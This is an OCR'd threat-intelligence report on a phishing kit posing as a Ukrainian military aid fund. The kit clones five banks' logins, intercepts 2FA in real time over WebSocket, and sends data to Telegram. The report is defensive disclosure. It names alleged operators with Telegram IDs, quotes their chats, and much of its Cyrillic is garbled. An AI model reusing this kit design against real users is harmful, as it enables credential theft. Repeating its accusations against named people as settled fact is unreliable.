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Military Aid Phishing Network Exposed: 5
Banks Targeted, Operators Identified
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Active Threat — Investigation Report
PhishDestroy's automated pipeline dissected a phishing operation impersonating a Ukrainian military
aid foundation — from domain registration to operator identification — in minutes.

March 25, 2026 PhishDestroy Research 12 min read
Screenshot 1 — Investigation overview: dopomogvoina[.]sbs phishing network targeting Ukrainian
military veterans.
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Domain

markup

e Despite claiming to be "Chinese" (Hong Kong), the creator is from Gorlovka, Donetsk People's
Republic . The Chinese branding is purely decorative — like their Terms of Service

¢ Maintains Russian-language support via VKontakte and Telegram, sells .ru for $200 when reg.ru
charges 120P (~$1.30)

e Negative Trustpilot reviews mentioning drug marketplace domains mysteriously vanish.
Coincidence? Absolutely not

e An active subscriber of "TunnuHbin MoweHHuK" (Typical Fraudster) VK community — when your
registrar follows scam groups, you know their target audience

e Cooperates with Netcraft just enough to avoid delisting, while maintaining infrastructure for
phishing, gambling, and narcotics domains

Meanwhile, on "TunnyHbIn MoweHHUK":

Original (Russian)

Translated (English)

A promise to our sponsor: When this post from "TunnyHeln MoweHHUK" becomes reality — and based
on what we know, it's a matter of when, not if— our entire team will register on VKontakte and
subscribe to the community. Consider it our standing ovation. &)

* This is satire. NiceNIC did not sponsor this investigation. They did, however, make it necessary by
refusing to act on our abuse reports for 5+ days. Everything stated above is based on publicly available
information and our operational experience. Read our full NiceNIC exposé -

What PhishDestroy Found

On March 20, 2026, PhishDestroy's automated threat detection pipeline flagged dopomogvoinal.]sbs
— a freshly registered domain hosting a phishing site impersonating "LLuT 3axucHuka" (Shield of the
Defender), a fabricated Ukrainian military aid foundation. The site targets Ukrainian military veterans,
combat wounded, and the families of fallen soldiers, promising government financial aid while stealing
banking credentials for five of Ukraine's largest banks.

What follows is a complete breakdown of everything our automated analysis uncovered: the social
engineering, the technical infrastructure, the real-time operator control system, and the identities of

the people running it.

Impact Assessment

The site specifically targets the most vulnerable: combat veterans with PTSD, families of KIA soldiers
seeking government aid, and wounded military personnel navigating complex bureaucratic systems.
Every credential stolen can result in full account takeover within minutes.

Section 1: The Bait — Fake Military Aid Foundation

The domain dopomogvoinal.]lsbs was registered on March 20, 2026 through NICENIC International
Group Co., Limited , a registrar with a well-documented history of slow or nonexistent abuse response.
The .sbs TLD (Side-By-Side) is a low-cost gTLD frequently exploited for disposable phishing
infrastructure.
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The site presents itself as a professional government-adjacent aid portal. A Ukrainian flag fills the
header, military imagery lends authenticity, and the page is carefully written in Ukrainian with
bureaucratic phrasing that mirrors legitimate government programs.

C m [l % nhips//dopomogvoinasbs

“\ Tur 3axucHuKa

“ TonosHa

JoaaTKOBi BUILIATH TA MiATPUMKA
3aXMCHHUKIB YKpaiHu

QoHg «llut 3axmcrrka» Hagae Gnar NaTV, L0 AOMOBHIOIOTE AEPXKABHE

a peabiniTauis, coLjansta 4orniomMora,

sabesneueHHn silictkoB00T)

ﬁ;,L‘,T)3il|"v!PCE poanH Ta ajanTaLlin seTepa

MeperasuyTu nporpamu

2847 247.2 MUTH 19

Ak oTpUMaTH fonomory

48 rop,

HanpAMKH MiATPHMKR

F Meguuna Ta peabimiTauifina nigrpuMia Couianssa goromora

TIOKPUTTA BUTPAT Ha NikyBaHHA, peabiniTaLlii Ta NPOTE3YBaHHR, WO He

Screenshot 5 — The phishing site's landing page impersonating "LLnt 3axucHuka" (Shield of the
Defender).

To build credibility, the operators fabricated a statistics counter prominently displayed on the landing
page:

e 2,847 applications — implying thousands have already received aid

e 247.2M distributed — a large but believable figure in UAH

e 19 programs — suggesting a comprehensive, multi-program operation

These numbers are entirely fabricated, hard-coded into the page source with no backend connection.
They serve a single purpose: social proof to override a victim's hesitation.

Section 2: The Trap — 5 Banks, One Goal

After clicking "lMogaTtun 3asBky" (Submit Application), the victim is presented with a bank selection
screen. Five of Ukraine's largest retail banks appear as options, each with its official branding and
logo. This is where the social engineering shifts from emotional manipulation to technical theft.
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% https:;//dopomogvoina.sbs/apply

AT 3axXUCHUKA

O6epitL 6aHK

Bunnara Ha kapTy obparoro Ganky

MpueatBaHk

monobank

OwanbaHk

e Ykpenb6aHk

nymMms

Screenshot 6 — Bank selection screen. Each option leads to a custom credential theft sequence.
Analysis of the site's JavaScript bundle revealed that each bank has a unique multi-step credential
harvesting sequence , tailored to match that bank's actual authentication flow:

PrivatBank

Login Password PIN SMS

monobank

Login PIN SMS Email

Oschadbank
Login Verify SMS

PUMB
Login SMS

Ukrsibbank

Login PIN SMS
The attack flow for every bank follows the same pattern:

Fake Aid Page
Bank Selection
Login Clone

2FA Intercept
Account Takeover
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Bxin/PeccrTpauin

== +380- | 000000000

Screenshot 7 — Cloned PrivatBank login.
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Bxig B MYMB Online

BEAITb AaHi ANA Bxoay

HOMEP TEREGOHY

+380

NAPONb

Screenshot 9 — Cloned PUMB login.

Account
Fake Aid Site " Real-time Account Takeover

Real-time
Operator

Real-time operator controls each victim session via WebSocket.

Screenshot 10 — Complete attack flow: from fake military aid page through bank selection to credential
theft and account takeover.
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The tech stack: React SPA front end delivered via Cloudflare CDN , with an Express.js backend
handling credential exfiltration. The React architecture allows seamless multi-step forms that feel
indistinguishable from legitimate banking interfaces.

Section 3: Real-Time Operator Control

This is not a simple credential harvester with a static database. The phishing kit includes a live
WebSocket control panel that lets a human operator manipulate each victim session in real time.

The WebSocket endpoint at wss://dopomogvoinal.]sbs/ws supports the following message types:

register — New victim session created
update user data - Stolen credentials transmitted to operator

next step — Operator advances victim to next theft stage
create application — Victim starts "aid application"
answer_question — Operator sends custom prompt to victim

This real-time control means the operator can:

¢ Force a waiting state — display "Processing your application..." while they log into the victim's real
bank account

¢ Redirect to a specific step — re-request an SMS code if the first one expired

o Show fake error messages — "Invalid code, please re-enter" to harvest multiple 2FA tokens

¢ Ask custom questions — request date of birth, card number, or any additional data mid-session

What Makes This Dangerous

Real-time operator control defeats time-based 2FA protections. The operator intercepts the SMS code
and uses it within its validity window — typically 30 to 120 seconds — while the victim stares at a fake
"processing" animation.
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3aznaure mo6inbHwii Tenedon

ymoBaMy 12 Tapupann

Screenshot 8 — Phone number entry form used to initiate credential theft.
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Screenshot 11— Operator's real-time bot panel for controlling victim sessions.
The full range of data stolen per session: phone , password , PIN , SMS code , card number , date of
birth ,and email .

Section 4: Behind Cloudflare — Two Projects, One Server

Cloudflare proxying conceals the origin server, but PhishDestroy's infrastructure analysis pipeline
resolved the true origin IP: 45.131.214[.]1148 , hosted at RapidSeedbox / LeaseWeb in the
Netherlands.

A critical detail: dopomogvoinal.]sbs is proxied through Cloudflare , hiding its origin IP. But our system
also tracks hlpforvpeople[.]sbs — a related domain registered through the same NICENIC registrar
with matching patterns. That domain is NOT behind Cloudflare , exposing its origin IP directly:
45.131.214[.]148 .
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Connecting to this IP directly — without a Host header — revealed something unexpected: a
completely different phishing site . Instead of Ukrainian military aid, the default vhost served
"HealthCare ID" , an Indonesian health insurance phishing operation. Same server, completely
different victims, completely different country.

Same Server, Same Operators, Different Victims

e Project 1: Ukrainian military aid - steals banking credentials from veterans

e Project 2: Indonesian health insurance - steals healthcare credentials from citizens
e Same Express.js stack, same WebSocket real-time control panel

e Same BT-Panel (£1%) server management interface

e Second project's C2 domain: rezervtemka[.]lcc — a known phishing panel identified in
PhishDestroy's threat database

¢ Russian-language comments in the Indonesian project's source code confirm the same CIS-based
developers

Same Server, Same Operators, Different Victims

dopomogvoina[]sbs

Screenshot 12 — Two parallel phishing operations sharing the same origin server: Ukrainian military aid
(dopomogvoina) and Indonesian health insurance (HealthCare ID).

The Indonesian phishing template is a known kit tracked in PhishDestroy's threat intelligence
database . We've seen variants of this exact template deployed across Southeast Asia — targeting
Indonesian, Thai, and Vietnamese financial institutions. The operators simply swap country-specific
templates while reusing the same backend infrastructure.

Indiscriminate Criminals

This is the reality of modern phishing operations: the operators don't care who they steal from .
Ukrainian veterans seeking military aid, Indonesian workers buying health insurance — the target
changes with whatever template generates the most revenue. The same Russian-speaking operators
run both campaigns simultaneously from the same server, switching between victims in different
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countries like changing TV channels. Today it's Ukrainian banks. Tomorrow it could be Israeli banks —
as Bonya already asked about in March 2026.

Section 5: The config.json That Exposed Everything
Here's how a single misconfigured file unraveled the entire operation — step by step.

After identifying the origin server's second project, PhishDestroy's JS Analyzer — our automated
JavaScript intelligence tool — was pointed at the Indonesian phishing site's bundle at
https://45.131.214[.]148/assets/index-ZMOxHb_h.js . The analyzer extracted all API endpoints,
external URLs, and configuration paths from the 335KB JavaScript file. Among the findings:

e Five APl endpoints at rezervtemkal.]lcc — the C2 panel for credential verification

e A WebSocket connection to wss://rezervtemkal.]cc

e Facebook Pixel integration for victim tracking

e Areference to /config.json — loaded at runtime for Telegram bot configuration

Following this lead, we fetched /config.json from the origin IP. The file was accessible without any
authentication — sitting in the webroot, readable by anyone:

async function loadConfig() {
const response = await fetch('/config.json');
7l oo

}

async function sendNotification() {

const cfg = await loadConfig();

await fetch( https://api.telegram.org/bot${cfg.bot token}/sendMessage , {
method: 'POST',

body: JSON.stringify({ chat id: cfg.chat id, text: message })

1)

}

The /config.json file was accessible directly from the origin IP — no authentication, no access
control, just a plain JSON file sitting in the webroot :

"bot token": "8724623843: AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ",

"chat_id": "-1OOXXXXXXXXXX"

}

A Telegram bot token is both username and password. Whoever has the token can make API calls as
that bot. The operators left theirs in a publicly accessible file. Six API calls later, we had everything:

getMe — Bot identity: "MonettiCRM" ( @MonettiCRM bot )

getChat(chat_id) — Group name: "Idr card" with an active invite link

getChatAdministrators — 3 administrators, including the group creator

getChat(creator_id) — Creator: @monettiescobar , Telegram Premium, business profile, timezone
UTC+3

getChat(admin2_id) — Second admin: empty profile, suspected alt account
getChatMemberCount — 5 total members in the operator group
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Screenshot 13 — The complete OSINT chain: from exposed config.json to full operator identification in
6 API calls.

From a single misconfigured file to full operator identification in six HTTP requests. No exploits, no
unauthorized access — just standard Telegram Bot API calls using a token the operators themselves
left exposed.

Section 6: The Operators

A Note on Criminal Creativity

What follows is a masterclass in terrible alias choices. We have MONETTI ESCOBAR — because
nothing says "low profile" like naming yourself after history's most famous drug lord. Then there's
Bonya , also known as PapaZakonVor (literally "Daddy-Thief-by-Law" — a wannabe reference to
Russian criminal hierarchy), Boa , and bubullikk . And finally Devoys , whose handle @devosus reads
suspiciously like "dev ops us" — a developer who put his job title in his username. These are the
people who thought they could outsmart automated threat intelligence. Spoiler: they couldn't.
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Idr card

oy (@

Monetti.. MOMNETT.. Bonya Deleted ...

Cancel Join Group

Screenshot 14 — The "Idr card" Telegram operator group, exposed through the leaked bot token.
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Fy

Owner /[ Creator

MONETTI ESCOBAR

@monettiescobar

Telegram ID: 8135223234

Telegram Premium, Business profile

Timezone: UTC+3 (CIS region)

10 public messages — strict OPSEC

TraFFeeQ Chat Medusa Google Ads Deepfakes channel
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Operator / Traffic

Bonya

@BoaCC159

Telegram ID: 6242202706

AKA: PapaZakonVor, Boa, bubullikk

261 messages across 12 groups

DC2 — Amsterdam, NL

CryptoGrab STYX Market Raven CC EMPIRE CHAT Phoenix Solution
Developer / Coder

Devoys

@devosus

Telegram ID: 8213612730

Phishing kit developer — operators address him as coder
Asked to "think about defense" when breach discovered
Minimal public footprint by design
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Handle @devosus = "dev ops us" — job title as username
Kit developer Infrastructure Security

MONETTI ESCOBAR — The Boss

MONETTI maintains strict operational security — only 10 public messages across 2 groups. But the
groups tell the story: TraFFeeQ Chat (traffic arbitrage for fraud), Medusa Google Ads (black-hat
Google Ads), and a Deepfakes channel . His Telegram business profile lists "EcTb npegnoxeHune" (
"Have a proposition” ) — openly advertising services. The UTC+3 timezone (matching
Moscow/Minsk/Kyiv) and 24/7 business hours confirm a CIS-based operation running around the
clock.

Bonya — The Careless One

Unlike MONETTI's careful OPSEC, Bonya (former alias: PapaZakonVor — roughly "DaddyThiefByLaw")
left a massive digital trail — 261 messages across 12 underground groups . His chat history reads like
a criminal CV:

Bonya's Own Words (translated from Russian)
e "¢duwmnop 2.0 Tok" > "Only phishing for [bank security] 2.0" — discussing phishing kit
compatibility with newer bank security systems

e "XopoLwux aponos TsXXeno Hautu" = "Good money mules are hard to find" — sourcing
accomplices for cash-out

e "[Mowsun B KL, KO MHe pa6oTtaTtb" - "Come work in my call center" — recruiting operators

e "aecTb TYT NloAu KTO ¢ 6aHKaMu uspaunsa paéortan?" - "Anyone here who's worked with Israeli
banks?" — expanding to new targets (March 2026)

e "Jloroe no puHKe YeT He BUXY 0c060" - "Don't see many finance logs"— discussing stolen
credential quality

e "Ecnu 1npokcu 1-2 6aHka Tok" = "One proxy for only 1-2 banks" — discussing operational security
for bank fraud

e "y Hee KapTKy 3aXxeBan 6aHkomat" > “Her card got eaten by the ATM" — a money mule stole
260,000 from them, claiming the ATM ate the card. Even criminals get scammed by their own
accomplices.

His group memberships paint a complete picture: CryptoGrab (crypto wallet drainers), STYX Market
(underground marketplace for stolen data), Raven CC checker (credit card validation tools), EMPIRE
CHAT and Phoenix Solution (fraud coordination). This is not a one-time offender — this is someone
embedded in the cybercrime ecosystem.

Devoys — The Developer

The technical backbone of the operation. Minimal public footprint by design — when the group was
breached, Bonya explicitly called on him: "@devosus nogymavi Hag 3aLyuTou roka Ham XXOry He
nopsain" — "@devosus think about defense before we get our asses busted." His sarcastic
response to the breach — "korga B uHteprion" ( "when to interpol” ) — suggests this isn't their first
close call.
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Behavioral Analysis: 261 Messages Decoded

PhishDestroy's OSINT pipeline collected and translated all 261 public messages from Bonya across 12
underground Telegram groups (June 2024 — March 2026). Machine translation via DeepL API with
manual context correction. The messages reveal a complete operational profile — categorized below
by criminal activity type.

Message Distribution: 261 messages across 12 groups

e COONE|Chat — 91 messages (fraud coordination)

e AkTyanbHoe/Bepudpukauum — 37 msgs (verification scams)
¢ Rolex | o6wum yat — 28 msgs (carding)

e EMPIRE CHAT — 24 msgs (black market)

o d6cTop — 23 msgs (traffic arbitrage)

¢ FB-DOC — 22 msgs (ad fraud)

¢ Phoenix Solution — 17 msgs (banking fraud)

e CryptoGrab — 11 msgs (crypto draining)

¢ STYX Market — 2 msgs (underground marketplace)

e Raven CC checker — 2 msgs (card checking)

Banking Fraud & Phishing
CDONE|Chat Mar 2025

| "There's only 2.0 phish here"

A TyT duwm nop 2.0 Tok
Discussing phishing kit compatibility with newer bank security protocols
CDONE|Chat Mar 2025

‘ "Bro, they don't sell nothing on phish here, it's phish for payment"
BpaTtaH TyT He NpofatoT HMYe Ha duwax TyT U Ha onnaTy
Distinguishing between phishing-for-sale vs phishing-for-direct-theft

Phoenix Solution Mar 2026

"Are there any people here who have worked with banks in Israel?"

a ecTb TYT NtOAM KTO C 6aHKaMu uspaunsa padoTtan?
Expanding operations to Israeli banking sector — 5 days before our investigation
Rolex | o6uwwit yaT Sep 2024

| "If 1 proxy, only 1-2 banks"

Ecnn 1 npokecu 1-2 6aHKa ToK
Operational security for multi-bank fraud: one proxy per 1-2 banks to avoid detection
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Rolex | o6uwwit yaT Sep 2024
"Don't see much in the way of finance logs"

JloroB no ¢uHKe 4eT He BUXY 0CO60
Complaining about quality of stolen banking credentials on underground markets

Money Mules & Cash-Out
CO)ONE|Chat Mar 2025

‘ "Good drops are hard to come by"

XOopoLmrx ApPONoB ThIXXeNo HanuTu
"Drops" = money mules who cash out stolen funds. Complaining about recruitment difficulty.
CDONE|Chat Mar 2025

| "Come work at my call center"

[Mownun B KU KO MHe paboTaTb
Actively recruiting people into a fraud call center operation
AkTyanbHoe Jun 2024

| "60 grand was stolen from us"

y Hac ykpanu 60k
A money mule stole 260,000 from the scammers themselves. Ironic justice.
AkTyanbHoe Jun 2024

‘ "How the fuck could an ATM eat the card?"

Kak 6n1aTb 6aHKOMaT MOT KapTy 3a)eBaTb
The mule claimed the ATM "ate" the card to keep the stolen funds. Scammers scamming scammers.
AkTyanbHoe Jun 2024

"She transferred it to us, then we didn't have the main drop to move the money"

OHa ee NepeKuHyna Ha Hac a TYT Yy Hac HebbISI0 OCHOBHOMO Apona YTobbl NepeBecTn AeHbIM
Describing the cash-out chain: victim - intermediary account - primary money mule

Traffic Fraud & Ad Abuse
EMPIRE CHAT Mar 2026

"l don't do Google, just Facebook"

Hy 4 c ryrrnom He paboTato ToK ¢ ¢6
Specializes in Facebook ad fraud — driving traffic to phishing pages
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FB-DOC Feb 2026

"l wouldn't pour for % of ad spend without a guarantor either"

51 Obl TOXE He 3anmBan 3a % OT creHaa 6e3 rapaHTa
Negotiating payment terms for running fraudulent Facebook ad campaigns
CryptoGrab Jan 2025

‘ "l tried AML on Facebook to target America — couldn't find any good setups online"

A npo6oBasn amn Ha ¢6 NPOSINTb aMepPUKY TOXKe TOSNKOBbIX AaXe CTapblX CBA3OK He Hallesn B nHeTe
Attempting to use Facebook ads to run anti-money-laundering scams targeting US victims
Psychological Profile: Bonya

The 261-message corpus reveals a mid-tier cybercriminal with diversified operations: banking
phishing, money mule networks, Facebook ad fraud, crypto draining, and credit card checking. Key
traits:

e Operational carelessness — 261 messages across public groups using a single account. Multiple
aliases (PapaZakonVor - Boa - Bonya) suggest awareness of OPSEC but failure to practice it

¢ Recruitment mindset — actively invites people to "work at my call center" and sells operational
knowledge for cash

¢ Victim indifference — discusses Ukrainian, European, Israeli, and American targets with equal
detachment. Geography is just a variable in the fraud equation

e Trustissues — was betrayed by his own money mule for 260K. Ironically mirrors the distrust he
creates in his victims

¢ Expansion-driven — as recently as March 2026, actively seeking new banking markets (Israel),
suggesting the Ukrainian phishing is just one of many concurrent operations

¥ Bonya: Complete Message Log (253 messages across 12 groups)
Bonya (@BoaCC159) — Full Translated Message History

-- Phoenix Solution (16 messages) --

B

Bonya 2026-03-17 14:22

Are there any people here who have worked with banks in Israel? a ecTb TyT ntogm KTo ¢ 6aHKaMu
n3paunsa padéortan?

B

Bonya 2026-03-17 14:22

working quietly, too. To)xxe no TMxoun paboTaem

B

Bonya 2026-03-17 14:17

how's it going kak gena

B

Bonya 2026-03-17 14:17

hello everyone Bcem npuset

B
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Bonya 2026-03-15 19:02

Well, it's pretty much all fixed now. Hy B uenom Bce y>e Hanagunu

B

Bonya 2026-03-15 19:02

Well, it's a little bit of a hassle Hy Tak HeMHOro remopos co3ganu

B

Bonya 2026-03-15 19:01

Yeah, I've been doing a lot of quiet work too, fucked up. [la Toxxe no Tnuxoun paboTbl MHOro 3aebarncs
B

Bonya 2026-03-15 19:00

How was your day off? Kak BbixogHou npoLuen

B

Bonya 2026-03-15 19:00

All of you. Bcem 06Lmm

B

Bonya 2026-03-14 14:29

He's not so anonymous now that everyone knows it's Marik. He Takou OH y>e 1 aHOHUMHbIN pa3 BCe
3HaIOT WO XXTO MapuK

B

Bonya 2026-03-14 14:24

Reborn MNepepoanncs

B

Bonya 2026-03-14 14:24
Ahahahahahahahahahahahahahahahahahahahahahahahahah. Axaxaxxaxaxaxaxax
B

Bonya 2026-03-14 14:23

| was upset when | saw the chat room was gone. f ax paccTpouncs Korga ysuaen wo yat nponan
B

Bonya 2026-03-14 14:22

| thought I'd never find you. f y>x gyman He Hangy Bac

B

Bonya 2026-03-14 14:22

Koo Ky

B

Bonya 2026-03-14 14:22

Fuck E6a

-- ® FB-DOC — Yar no Ap6utpaxy Tpaduka (21 messages) --

B

Bonya 2026-03-15 07:23

@fbdoc21 @fbdoc21

B

Bonya 2026-03-15 07:20

Punch yourself in the forehead with your dick. Mo néy ce6e nMctoOHOM nocnamb
B
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Bonya 2026-03-06 15:18

Like five on the 2.5 screen. Kak naTb Ha CKpuHe 2,5&
B

Bonya 2026-02-19 17:05

to you all. ¢ Bam Bcex

B

Bonya 2026-02-19 17:04

if you open a deal, I'll laugh. ecnun oTKpoeTe cAenky s NoOpXxy
B

Bonya 2026-02-19 17:04

continental? KOHTUHEHTaNbL?

B

Bonya 2026-02-19 17:04

so there she is. Tak BOH OHa cornacHa

B

Bonya 2026-02-19 17:01

So always screen when you ask about a guarantor. Tak CKpuHbTe BCcerga korga crnpatisaveTe npo
rapaHt

B

Bonya 2026-02-19 17:00

He asked about a guarantor and disappeared right away. yeT npo rapaHTa cnpocun u nponan cpasy
B

Bonya 2026-02-19 17:00

ay carina ay KapuHa

B

Bonya 2026-02-19 16:59

So you're going for a guarantor? Hy Tbl Ha rapaHTa ngewb?

B

Bonya 2026-02-19 16:57

| wouldn't pour for a % of spend without a guarantor either. s 66l ToXXe He 3anmMBan 3a % OT cneHpa 6e3
rapaHra

B

Bonya 2026-02-19 16:57

a? a?

B

Bonya 2026-02-19 16:57

Well, she threw screenshots and you didn't give me anything. Hy OHa KMHyNna CKpUHbI @ Tbl HUYEro He
gan

B

Bonya 2026-02-19 16:56

look at the screenshots she threw NOCMOTpPU CKPUHBI YTO OHa KUHYMa

B

Bonya 2026-02-19 16:55

he didn't write about a guarantor? oH npo rapaHTa He nucan?
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B

Bonya 2026-02-19 16:54

You're a freak® Tbl 4e PpUKS

B

Bonya 2026-02-19 16:53

you asked for a guarantor. Tbl rapaHTa NPOCK/

B

Bonya 2026-02-19 16:52

where B kKakomMu MmecTe

B

Bonya 2026-02-17 14:37

Who's gonna hook up a shop with some good autos. KTo nogcageT won, ¢ XopoLnmMu aBTUKaMm
B

Bonya 2026-02-17 12:10

Anywhere you like they'll do it for you® B nto6om rage no kandy oHu Tebe caenaoT&
-- EMPIRE CHAT (24 messages) --

B

Bonya 2026-03-14 13:17

| already figured out how, but I'm too lazy to explain. {1 y>e NOHSN KaK HO fleHb OBbACHSATb
B

Bonya 2026-03-14 13:17

He's gonna fuck you up no matter what. OH npu no6bIX packnagax Tebs HaebeT
B

Bonya 2026-03-12 17:16

In different ways. o pasHomy

B

Bonya 2026-03-12 17:08

+ plus there's a lot of storms going on right now. + Wac WTopMbl CUbHbIE

B

Bonya 2026-03-12 17:07

If it's black, I'll bet Ecnu yepHoe To nocnopwun Gbl

B

Bonya 2026-03-12 17:07

Depends on what kind of offer if it's white, yes. CmoTpsa nog kakou odpdep ecnm 6enoe 1o Aa
B

Bonya 2026-03-12 17:06

It's two different worlds [1Ba pa3Hbix Mupa aTo

B

Bonya 2026-03-12 17:06

There's no other one HeT Boo6Le apyrou

B

Bonya 2026-03-12 17:06

You can set it up so that Only PCs TaM MO>XXHO HacTpOUTb YTOObI TOMbKO NK 6blIN
B
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Bonya 2026-03-12 17:05

Google's not as effective as | think it is. l'yrn He Takon apPEeKTUBHBIM KakK NO MHE

B

Bonya 2026-03-12 17:05

Well, | don't google, | just fb. Hy 9 ¢ ryrnom He pa6oTato Tok ¢ ¢p6

B

Bonya 2026-03-12 17:05

As long as you have to find a ligature during the whole thing. MNpx ycnosuun 4to eLle Hy>XHO BO BOeMS
BCe 3TOM 3anynbiv HAUTU CBA3KY

B

Bonya 2026-03-12 17:04

Rejects, ackeys flying off just like storms. Et cetera. PepykeKTbl, akk1 OTNeTatoT NPOCO TaK WTopMbl. U
A

B

Bonya 2026-03-12 17:04

It's not all flowers, bro. He 3To0 BCe 6paTaH LBETOYKM

B

Bonya 2026-03-12 17:03

All air regular acqgs with better trust Bce Bo3ayXx 06bl4HblE€ aKKK C STyYLUMM TPACTOM

B

Bonya 2026-03-12 17:03

There are no good agencies on the market right now. HeTy XOpoLMx areHTCKUX LWac Ha pbIHKe

B

Bonya 2026-03-12 17:02

More nerve-wracking than scary Ckopee 605blUe HEPBOB YEM CTPaALLHO

B

Bonya 2026-03-12 17:02

Crypto, gambling gut, and blackness all pour out KpunTo, rem6na HyTpa, 1 YepHyxa BCe Jbto

B

Bonya 2026-03-12 17:01

The last thing the city did was hack into 2d. lNocegHee 4TO €310 CUTU B 2[4, XaBano

B

Bonya 2026-03-12 17:01

Climbing if you look for me from my own or from the budget to find what climbs in 2d need 1-2k zeles
to spend on tests and that will not live long. Jle3eT ecnu nckaTb S CO CBOUX UK C BrogyKeTa YToObl
HaUTW 4YTO Ne3eT B 2[, HY>XHO 1-2K 3ena noTpaTutb Ha TeCTbl U TO HE OO0 NPOXUBET

B

Bonya 2026-03-12 17:00

I'm pouring A nbto

B

Bonya 2026-03-12 16:59

Because there are no such requirements for white offers) lNoTomy UTT HeTy Takmnx Tpe6oBaHMM Ha
6enble opdepbl)

B
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Bonya 2026-02-14 14:33

Who has a dreiner under aml test? Only with dep or ready on the guarantor Y Koro ecTb gpenHep nog
amn Tect? TonbKo C AenOM WY roToBblE Ha rapaHTa

B

Bonya 2026-01-11 03:14

there is someone in the fb beat, and there is a mate. Need fb replenish the price is negotiable ecTb KT0O
B ¢$6 611, n ecTb MaTt. Hy>kHO ¢6 NOMONHUTL NO LileHe JOroBOpUMCH
-- STYX CHAT [ STYXMARKET.ST ] (2 messages) --

B

Bonya 2025-12-05 12:04

Need invoices, Payzaty, Cashfree, Eportal 3ds Need invoices, Payzaty, Cashfree, Eportal 3ds
B

Bonya 2025-11-22 11:14

there's a chat guarantor? TyT ecTb rapaHT 4arta?

-- Yat Ap6utpax Tpapuka (2 messages) --

B

Bonya 2025-11-24 14:50

100% 100%

B

Bonya 2025-11-24 14:49

Tg channel will be hijacked Tr kaHan yroHsT

-- Raven CC checker (2 messages) --

B

Bonya 2025-11-21 21:19

/help@SDBB_Bot /help@SDBB_Bot

B

Bonya 2025-11-21 21:18

/check [check

-- Vision Browser YaT (2 messages) --

B

Bonya 2025-11-14 16:47

Thank you. Cnacun6o

B

Bonya 2025-11-14 16:47

vicen werk in ru? Bu>xeH BOpK B py?

-- CDONE|Chat (86 messages) --

B

Bonya 2025-03-05 17:06

Guys, give me a shop where | can get pads. NapHu gauTe Won rge niowaaku B3sTb MOXHO
B

Bonya 2025-03-05 16:22

just can't even give a manic NpoCTo AaXe MaHUK faTb HE MOXeT

B

Bonya 2025-03-05 16:22
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likewise Tak xe

B

Bonya 2025-03-05 16:21

Fucking answer me if the mentor has a chat room with the students or not. e6aTb MHe KTO HUOYAb
OTBETUT eCTb Y HacTaBHMKA 4aT C YYEeHUKaMU UNN HeT

B

Bonya 2025-03-05 16:10

and who's ts a KTO TC

B

Bonya 2025-03-05 15:44

It's not hard, but there are no full manuals here, only tutors. Tam He TAXEeN0 HO MaHyanoB MOMHbLIX TYT
HeTy TOK Y HaCTaBHUKOB

B

Bonya 2025-03-05 15:42

Basically, yes, if you know how. no cyTu ga ecnm ymeelb

B

Bonya 2025-03-05 15:42

half a day no non gHs

B

Bonya 2025-03-05 15:42

The first one has 600 people, he's not answering. y nepsoro 600 4enoBeK OH He oTBeYaeT
B

Bonya 2025-03-05 15:41

If you have the money, get the one that's asking $200. ecnu 6a6ku ecTb 6epu KoTopbin 200$ npocut
B

Bonya 2025-03-05 13:55

Who's fantastic at teaching there's a student chat room? KTo y ¢paHTacTMka Ha o6y4yeHue Tam yaT
YYEHNKOB eCTb?

B

Bonya 2025-03-03 15:10

Checks Yeku

B

Bonya 2025-03-03 15:10

The one that vacuums KoTopas nbinecocur

B

Bonya 2025-03-03 15:10

Got it EcTb

B

Bonya 2025-03-03 15:10

There's probably whores with software. Ta TyT nono6omy wWnox ¢ copToM

B

Bonya 2025-03-03 15:09

It was bbino

B
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Bonya 2025-03-03 15:09

Oh, that's good. O BOT 3TO HOpM

B

Bonya 2025-03-03 15:09

Trinuriuet ruru TpuHypUyeT pypy

B

Bonya 2025-03-03 15:09

And they're being collected A ux cobupatot

B

Bonya 2025-03-03 15:09

Tip's just sitting there fucking wrappers Tun cMguT GaHTUKK XyApPUT
B

Bonya 2025-03-03 15:04

Why are there Ukr license plates 1 3ayem Ha ykp HoMepa

B

Bonya 2025-03-03 15:03

| said "kc. 9 ckasan Ku,

B

Bonya 2025-03-03 15:03

| got it. A noHan

B

Bonya 2025-03-03 15:03

If it's complicated, you're gonna lose your bowler hat. ECimM py CNnoXHO TyT y Te6s KOTENOK CNeTuT
B

Bonya 2025-03-03 15:03

Fuck, let's compare how many times you're gonna run the fb rekul while I'm taking the roux off. E6aTb
JaBaun CpaBHUK CKOK Tbl pa3 3anyCcTub pekyn ¢6 noka g CHUMY py
B

Bonya 2025-03-03 15:02

For an escort Ha ackopTt

B

Bonya 2025-03-03 15:02

The types have the chitty-chitty development to start a fucking wanker. Y TMNoB 4MTCO pa3BUTHE Ha
3aBEeCTU Haxyu gpounny

B

Bonya 2025-03-03 15:02

Fuck, it's all wokers here. E6a TyT 0gHM BOpKepbI N0 py

B

Bonya 2025-03-03 15:02

What kind of tables Kakue cTonbl

B

Bonya 2025-03-03 15:01

30 will be yours if your voice is beautiful. 30 TBoM 6yayT ecnv ronoc Kpacuebin
B
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Bonya 2025-03-03 15:01

There's more money Tam 6onblue geHer

B

Bonya 2025-03-03 15:01

Come work at my place of business. Nownun B Ky, KO MHe paboTaTb
B

Bonya 2025-03-03 15:00

No Het

B

Bonya 2025-03-03 14:59

Plategam lNnaTteram

B

Bonya 2025-03-03 14:59

+ | don't know my way around a replay + 4 He Wwapro No NoBTeram
B

Bonya 2025-03-03 14:59

Good drops are hard to come by. XopoLwwunx gponoB TbXXeNo HanTu
B

Bonya 2025-03-03 14:58

Or is there a 1.0 Nnun 1.0 ecTb

B

Bonya 2025-03-03 14:58

There's only 2.0 phish here. A TyT ¢uwmn nog 2.0 Tok

B

Bonya 2025-03-03 14:58

Or better 1.0 than 2.0. Hy unu ny4ywe 1.0 yem 2.0

B

Bonya 2025-03-03 14:57

With mammoths C mamoHTamu

B

Bonya 2025-03-03 14:57

2.0 doesn't work sitting around fucking around. 2.0 He KaTUT cngeTb NU3LeTb
B

Bonya 2025-03-03 14:57

I'm more of a traffic guy. He a 6onbLwe no Tpadpuky

B

Bonya 2025-03-03 14:57

Here's the X's by Roo BoT nkcbl no py

B

Bonya 2025-03-03 14:56

But these aren't advertising teems Ho 3To He pekflaMHble TUMbI
B

Bonya 2025-03-03 14:56

